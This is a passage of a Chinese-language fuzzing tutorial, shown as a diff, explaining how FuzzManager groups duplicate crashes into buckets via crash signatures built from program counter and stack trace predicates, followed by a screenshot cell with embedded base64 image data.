+收集崩溃的一个挑战是*相同的崩溃会发生多次。* 如果一种产品掌握在数百万的用户手中，则成千上万的用户可能会遇到相同的错误，从而导致相同的崩溃。 因此，数据库将具有成千上万的条目，这些条目都是由同一个错误引起的。 因此，有必要识别与*类似*的那些故障，并将它们归为一组，简称为*崩溃存储区*或*存储区*。
+
+在 *FuzzManager* 中，桶是通过*崩溃签名*定义的，该签名是与一组错误匹配的谓词列表。 这样的谓词可以引用许多功能，最重要的是
+
+*   当前的*程序计数器*，报告崩溃时执行的指令；
+*   *堆栈跟踪*中的元素，显示崩溃时哪些功能处于活动状态。
+
+在查看单个崩溃时，我们可以立即创建这样的签名：
+
+```py
+Image(gui_driver.get_screenshot_as_png())
+
+```
+
+![](data:image/png;base64,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